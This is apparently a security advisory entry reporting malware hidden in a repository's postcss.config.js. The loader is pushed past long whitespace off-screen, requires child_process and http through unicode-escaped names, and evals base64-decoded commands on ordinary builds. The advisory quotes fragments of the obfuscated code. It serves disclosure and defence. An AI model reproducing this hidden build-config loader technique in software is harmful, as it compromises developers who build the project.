GCVE-110-OSM-2023-209

abusayedwd/emajhon-with-firebase-auth hides network and command execution in a build configuration file, where an ordinary build runs it. - Opens a socket or runs a decoded command from a build or lint configuration file, which the toolchain loads and executes on an ordinary build. File: postcss.config.js Observed: require("\u0063\u0068\u0069\u006C\u0064\u005F\u0070\u0072\u006F\u0063\u0065\u0073\u0073" Buffer.from(n,"base64 Observed: require("\u0068\u0074\u0074\u0070" - Appends a loader to a build or configuration file, pushed past hundreds of spaces so it sits off the right edge of an editor and out of a diff. File: postcss.config.js Observed: global.i="A10-*15990";global.r=require;typeof module==="object"&&(global.m=module);const http=require("\u0068\u0074\u0074 eval( Observed: global.i="A10-*15990" Observed: require("\u0068\u0074\u0074\u0070